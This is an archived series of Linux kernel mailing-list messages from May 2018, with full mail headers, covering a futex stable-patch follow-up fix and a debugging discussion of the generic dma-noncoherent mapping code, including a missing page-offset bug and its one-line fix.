Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <stable-owner@vger.kernel.org>)
	id 1fJbEx-0003YZ-Ud
	for glks-stable4@m.gmane.org; Fri, 18 May 2018 10:59:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753582AbeERJCG (ORCPT <rfc822;glks-stable4@m.gmane.org>);
        Fri, 18 May 2018 05:02:06 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:46176 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752095AbeERJCA (ORCPT <rfc822;stable@vger.kernel.org>);
        Fri, 18 May 2018 05:02:00 -0400
Original-Received: from localhost (LFbn-1-12247-202.w90-92.abo.wanadoo.fr [90.92.61.202])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 0A21320834;
        Fri, 18 May 2018 09:01:58 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=kernel.org;
        s=default; t=1526634118;
        bh=1SRWfoD/psW265W0vT6SkEYVwFaJZV//o8sPscC1Ots=;
        h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
        b=yG3qvLwRGv7O+CGbyHALAoDhrv5hXvUquGE09lGU2oBdq7COnfz28qPQxLWrVQ8LY
         7g602wZdp5Z08Kb70DWy7zYY4LLYiFL+qCl6pJGo25Hgf2g0+xQRzXMmzkbqG28ksx
         4ZQvckvd4d6AA4/uXwbmgAeh2c99asU7GZdxE3J8=
Content-Disposition: inline
In-Reply-To: <e8dc5f94-3b52-dcf0-3b5e-b442bde7d803@suse.cz>
Original-Sender: stable-owner@vger.kernel.org
Precedence: bulk
List-ID: <stable.vger.kernel.org>
X-Mailing-List: stable@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.stable:283830 gmane.linux.kernel:2770666 gmane.linux.ports.mips.general:64843 gmane.linux.ports.ia64:28819 gmane.linux.ports.sh.devel:57041 gmane.linux.ports.sparc:27878 gmane.linux.kernel.cross-arch:44229 gmane.linux.ports.hexagon:1729 gmane.linux.kernel.arc:3895 gmane.linux.ports.arm.kernel:650971 gmane.linux.ports.parisc:28622 gmane.linux.ports.alpha:5050 gmane.linux.ports.ppc64.devel:157389
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.stable/283830>

On Fri, May 18, 2018 at 10:30:24AM +0200, Jiri Slaby wrote:
> On 05/18/2018, 10:16 AM, Greg Kroah-Hartman wrote:
> > 4.9-stable review patch.  If anyone has any objections, please let me know.
> > 
> > ------------------
> > 
> > From: Jiri Slaby <jslaby@suse.cz>
> > 
> > commit 30d6e0a4190d37740e9447e4e4815f06992dd8c3 upstream.
> ...
> > --- a/kernel/futex.c
> > +++ b/kernel/futex.c
> > @@ -1458,6 +1458,45 @@ out:
> >  	return ret;
> >  }
> >  
> > +static int futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
> > +{
> > +	unsigned int op =	  (encoded_op & 0x70000000) >> 28;
> > +	unsigned int cmp =	  (encoded_op & 0x0f000000) >> 24;
> > +	int oparg = sign_extend32((encoded_op & 0x00fff000) >> 12, 12);
> > +	int cmparg = sign_extend32(encoded_op & 0x00000fff, 12);
> 
> 12 is wrong here – wherever you apply this, you need also a follow-up fix:
> commit d70ef22892ed6c066e51e118b225923c9b74af34
> Author: Jiri Slaby <jslaby@suse.cz>
> Date:   Thu Nov 30 15:35:44 2017 +0100
> 
>     futex: futex_wake_op, fix sign_extend32 sign bits

Thanks for letting me know, I've now queued it up to the needed trees.

greg k-h


From - Thu Nov 08 21:41:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexey Brodkin <Alexey.Brodkin-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 02/20] dma-mapping: provide a generic dma-noncoherent
	implementation
Date: Fri, 18 May 2018 13:03:46 +0000
Lines: 167
Approved: news@gmane.org
Message-ID: <bad125dff49f6e49c895e818c9d1abb346a46e8e.camel@synopsys.com>
References: <20180511075945.16548-1-hch@lst.de>
	<20180511075945.16548-3-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526648510 22371 195.159.176.226 (18 May 2018 13:01:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 May 2018 13:01:50 +0000 (UTC)
Cc: "linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org" <linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org>,
	"monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org" <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, "linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org"
	<linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org>,
	"linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org" <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>,
	"linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org" <linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org>,
	"openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org" <openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org>,
	"green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org"
To: "hch-jcswGhMUV9g@public.gmane.org" <hch-jcswGhMUV9g@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 18 15:01:44 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fJf0x-0005gh-PI
	for glki-iommu@m.gmane.org; Fri, 18 May 2018 15:01:44 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 91A43BC8;
	Fri, 18 May 2018 13:03:54 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 3E3E9596
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 13:03:53 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from smtprelay.synopsys.com (us01smtprelay-2.synopsys.com
	[198.182.60.111])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 436416E3
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 13:03:52 +0000 (UTC)
Original-Received: from mailhost.synopsys.com (mailhost3.synopsys.com [10.12.238.238])
	by smtprelay.synopsys.com (Postfix) with ESMTP id ED37110C0779;
	Fri, 18 May 2018 06:03:50 -0700 (PDT)
Original-Received: from US01WEHTC3.internal.synopsys.com
	(us01wehtc3.internal.synopsys.com [10.15.84.232])
	by mailhost.synopsys.com (Postfix) with ESMTP id 4D9DD30C3;
	Fri, 18 May 2018 06:03:49 -0700 (PDT)
Original-Received: from DE02WEHTCB.internal.synopsys.com (10.225.19.94) by
	US01WEHTC3.internal.synopsys.com (10.15.84.232) with Microsoft SMTP
	Server (TLS) id 14.3.361.1; Fri, 18 May 2018 06:03:49 -0700
Original-Received: from DE02WEMBXB.internal.synopsys.com ([fe80::95ce:118a:8321:a099])
	by DE02WEHTCB.internal.synopsys.com ([::1]) with mapi id
	14.03.0361.001; Fri, 18 May 2018 15:03:47 +0200
Thread-Topic: [PATCH 02/20] dma-mapping: provide a generic dma-noncoherent
	implementation
Thread-Index: AQHT6P5rOSqikBCSDk25UJEllltUWqQ1XcqA
In-Reply-To: <20180511075945.16548-3-hch-jcswGhMUV9g@public.gmane.org>
Accept-Language: en-US, ru-RU
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.121.8.87]
Content-ID: <994FD47D919A664AB275AA5865AC4C92-z7JfP6tgrtVBCHUSTMH8dZqQE7yCjDx5@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24374 gmane.linux.kernel.cross-arch:44262 gmane.linux.kernel.arc:3896 gmane.linux.ports.parisc:28623 gmane.linux.ports.sh.devel:57042 gmane.linux.ports.hexagon:1730 gmane.linux.kernel:2770961 gmane.linux.ports.alpha:5051 gmane.linux.ports.sparc:27879 gmane.linux.ports.arm.kernel:651279
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24374>

Hi Christoph,

On Fri, 2018-05-11 at 09:59 +0200, Christoph Hellwig wrote:

[snip]

There seems to be one subtle issue with map/unmap code.
While investigating problems on ARC I added instrumentation as below:
---------------------------------------->8------------------------------------
--- a/arch/arc/mm/dma.c
+++ b/arch/arc/mm/dma.c
@@ -152,14 +152,37 @@ static void _dma_cache_sync(struct device *dev, phys_addr_t paddr, size_t size,
        }
 }
 
+static const char *dir_to_str(enum dma_data_direction dir)
+{
+       switch (dir) {
+       case DMA_BIDIRECTIONAL: return "DMA_BIDIRECTIONAL";
+       case DMA_TO_DEVICE: return "DMA_TO_DEVICE";
+       case DMA_FROM_DEVICE: return "DMA_FROM_DEVICE";
+       case DMA_NONE: return "DMA_NONE";
+       default: return "WRONG_VALUE!";
+       }
+}
+
 void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
                size_t size, enum dma_data_direction dir)
 {
+       if (dir != DMA_TO_DEVICE){
+               dump_stack();
+               printk(" *** %s@%d: DMA direction is %s instead of %s\n",
+                      __func__, __LINE__, dir_to_str(dir), dir_to_str(DMA_TO_DEVICE));
+       }
+
        return _dma_cache_sync(dev, paddr, size, dir);
 }
 
 void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
                size_t size, enum dma_data_direction dir)
 {
+       if (dir != DMA_FROM_DEVICE) {
+               dump_stack();
+               printk(" *** %s@%d: DMA direction is %s instead of %s\n",
+                      __func__, __LINE__, dir_to_str(dir), dir_to_str(DMA_FROM_DEVICE));
+       }
+
        return _dma_cache_sync(dev, paddr, size, dir);
 }
---------------------------------------->8------------------------------------

And with that I noticed a bit unexpected output, see below:
---------------------------------------->8------------------------------------
Stack Trace:
  arc_unwind_core.constprop.1+0xd4/0xf8
  dump_stack+0x68/0x80
  arch_sync_dma_for_device+0x34/0xc4
  dma_noncoherent_map_sg+0x80/0x94
  __dw_mci_start_request+0x1ee/0x868
  dw_mci_request+0x17e/0x1c8
  mmc_wait_for_req+0x106/0x1ac
  mmc_app_sd_status+0x108/0x130
  mmc_sd_setup_card+0xc6/0x2e8
  mmc_attach_sd+0x1b6/0x394
  mmc_rescan+0x2f4/0x3bc
  process_one_work+0x194/0x348
  worker_thread+0xf2/0x478
  kthread+0x120/0x13c
  ret_from_fork+0x18/0x1c
 *** arch_sync_dma_for_device@172: DMA direction is DMA_FROM_DEVICE instead of DMA_TO_DEVICE
...
Stack Trace:
  arc_unwind_core.constprop.1+0xd4/0xf8
  dump_stack+0x68/0x80
  arch_sync_dma_for_device+0x34/0xc4
  dma_noncoherent_map_page+0x86/0x8c
  usb_hcd_map_urb_for_dma+0x49e/0x53c
  usb_hcd_submit_urb+0x43c/0x8c4
  usb_control_msg+0xbe/0x16c
  hub_port_init+0x5e0/0xb0c
  hub_event+0x4e6/0x1164
  process_one_work+0x194/0x348
  worker_thread+0xf2/0x478
  kthread+0x120/0x13c
  ret_from_fork+0x18/0x1c
 mmcblk0: p1 p2
 *** arch_sync_dma_for_device@172: DMA direction is DMA_FROM_DEVICE instead of DMA_TO_DEVICE

...
and quite some more of the similar
...
---------------------------------------->8------------------------------------

In case of MMC/DW_MCI (AKA DesignWare MobileStorage controller) that's an execution flow:
1) __dw_mci_start_request()
2) dw_mci_pre_dma_transfer()
3) dma_map_sg(..., mmc_get_dma_dir(data))

Note mmc_get_dma_dir() is just "data->flags & MMC_DATA_WRITE ? DMA_TO_DEVICE : DMA_FROM_DEVICE".
I.e. if we're preparing for sending data dma_noncoherent_map_sg() will have DMA_TO_DEVICE which
is quite OK for passing to dma_noncoherent_sync_sg_for_device() but in case of reading we'll have
DMA_FROM_DEVICE which we'll pass to dma_noncoherent_sync_sg_for_device() in dma_noncoherent_map_sg().

I'd say this is not entirely correct because IMHO arch_sync_dma_for_cpu() is supposed to only be used
in case of DMA_FROM_DEVICE and arch_sync_dma_for_device() only in case of DMA_TO_DEVICE.


> +static dma_addr_t dma_noncoherent_map_page(struct device *dev, struct page *page,
> +		unsigned long offset, size_t size, enum dma_data_direction dir,
> +		unsigned long attrs)
> +{
> +	dma_addr_t addr;
> +
> +	addr = dma_direct_map_page(dev, page, offset, size, dir, attrs);
> +	if (!dma_mapping_error(dev, addr) && !(attrs & DMA_ATTR_SKIP_CPU_SYNC))
> +		arch_sync_dma_for_device(dev, page_to_phys(page), size, dir);
> +	return addr;
> +}
> +
> +static int dma_noncoherent_map_sg(struct device *dev, struct scatterlist *sgl,
> +		int nents, enum dma_data_direction dir, unsigned long attrs)
> +{
> +	nents = dma_direct_map_sg(dev, sgl, nents, dir, attrs);
> +	if (nents > 0 && !(attrs & DMA_ATTR_SKIP_CPU_SYNC))
> +		dma_noncoherent_sync_sg_for_device(dev, sgl, nents, dir);
> +	return nents;
> +}

The same is for unmap functions.
My guess is we need to respect direction in map/unmap functions and use
either dma_noncoherent_sync_single_for_cpu(..., DMA_FROM_DEVICE) or
dma_noncoherent_sync_single_for_device(...,DMA_TO_DEVICE).


> +static void dma_noncoherent_unmap_page(struct device *dev, dma_addr_t addr,
> +		size_t size, enum dma_data_direction dir, unsigned long attrs)
> +{
> +	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
> +		dma_noncoherent_sync_single_for_cpu(dev, addr, size, dir);
> +}
> +
> +static void dma_noncoherent_unmap_sg(struct device *dev, struct scatterlist *sgl,
> +		int nents, enum dma_data_direction dir, unsigned long attrs)
> +{
> +	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
> +		dma_noncoherent_sync_sg_for_cpu(dev, sgl, nents, dir);
> +}
> +#endif

But the real fix of my problem is:
---------------------------------------->8------------------------------------
--- a/lib/dma-noncoherent.c
+++ b/lib/dma-noncoherent.c
@@ -35,7 +35,7 @@ static dma_addr_t dma_noncoherent_map_page(struct device *dev, struct page *page
 
        addr = dma_direct_map_page(dev, page, offset, size, dir, attrs);
        if (!dma_mapping_error(dev, addr) && !(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-               arch_sync_dma_for_device(dev, page_to_phys(page), size, dir);
+               arch_sync_dma_for_device(dev, page_to_phys(page) + offset, size, dir);
        return addr;
 }
---------------------------------------->8------------------------------------

You seem to lost an offset in the page so if we happen to have a buffer not aligned to
a page boundary then we were obviously corrupting data outside our data :)

-Alexey

From - Thu Nov 08 21:41:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "hch-jcswGhMUV9g@public.gmane.org" <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 02/20] dma-mapping: provide a generic dma-noncoherent
	implementation
Date: Fri, 18 May 2018 15:27:31 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20180518132731.GA31125@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
	<20180511075945.16548-3-hch@lst.de>
	<bad125dff49f6e49c895e818c9d1abb346a46e8e.camel@synopsys.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526649646 9174 195.159.176.226 (18 May 2018 13:20:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 May 2018 13:20:46 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: "linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org" <linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org>,
	"monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org" <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, "linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org"
	<linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org>,
	"linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org" <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>,
	"linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org" <linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org>,
	"openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org" <openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org>,
	"green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org"
To: Alexey Brodkin <Alexey.Brodkin-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 18 15:20:40 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fJfJI-0002FZ-17
	for glki-iommu@m.gmane.org; Fri, 18 May 2018 15:20:40 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 02D9589E;
	Fri, 18 May 2018 13:22:51 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id AE4134A4
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 13:22:49 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from newverein.lst.de (verein.lst.de [213.95.11.211])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 2A3D26E3
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 13:22:48 +0000 (UTC)
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id 7A0992BD7C; Fri, 18 May 2018 15:27:31 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <bad125dff49f6e49c895e818c9d1abb346a46e8e.camel-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24375 gmane.linux.kernel.cross-arch:44263 gmane.linux.kernel.arc:3897 gmane.linux.ports.parisc:28624 gmane.linux.ports.sh.devel:57043 gmane.linux.ports.hexagon:1731 gmane.linux.kernel:2770986 gmane.linux.ports.alpha:5052 gmane.linux.ports.sparc:27880 gmane.linux.ports.arm.kernel:651288
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24375>

On Fri, May 18, 2018 at 01:03:46PM +0000, Alexey Brodkin wrote:
> Note mmc_get_dma_dir() is just "data->flags & MMC_DATA_WRITE ? DMA_TO_DEVICE : DMA_FROM_DEVICE".
> I.e. if we're preparing for sending data dma_noncoherent_map_sg() will have DMA_TO_DEVICE which
> is quite OK for passing to dma_noncoherent_sync_sg_for_device() but in case of reading we'll have
> DMA_FROM_DEVICE which we'll pass to dma_noncoherent_sync_sg_for_device() in dma_noncoherent_map_sg().
> 
> I'd say this is not entirely correct because IMHO arch_sync_dma_for_cpu() is supposed to only be used
> in case of DMA_FROM_DEVICE and arch_sync_dma_for_device() only in case of DMA_TO_DEVICE.

arc overrides the dir paramter of the dma_sync_single_for_device/
dma_sync_single_for_cpu calls.  My patches dropped that, and I have
restored that, and audit for the other architectures is pending.

That being said the existing arc code still looks rather odd as it
didn't do the same thing for the scatterlist versions of the calls.
I've thrown in a few patches into my new tree to make the sg versions
make the normal calls, and to clean up the area a bit.

> You seem to lost an offset in the page so if we happen to have a buffer not aligned to
> a page boundary then we were obviously corrupting data outside our data :)

Oops!  Thank you for all the debugging!

From - Thu Nov 08 21:41:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexey Brodkin <Alexey.Brodkin-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 02/20] dma-mapping: provide a generic dma-noncoherent
	implementation
Date: Fri, 18 May 2018 14:13:47 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <913e288c5aabf0224cedcf2eb0c9be309745eace.camel@synopsys.com>
References: <20180511075945.16548-1-hch@lst.de>
	<20180511075945.16548-3-hch@lst.de>
	<bad125dff49f6e49c895e818c9d1abb346a46e8e.camel@synopsys.com>
	<20180518132731.GA31125@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526652713 7274 195.159.176.226 (18 May 2018 14:11:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 May 2018 14:11:53 +0000 (UTC)
Cc: "linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org" <linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org>,
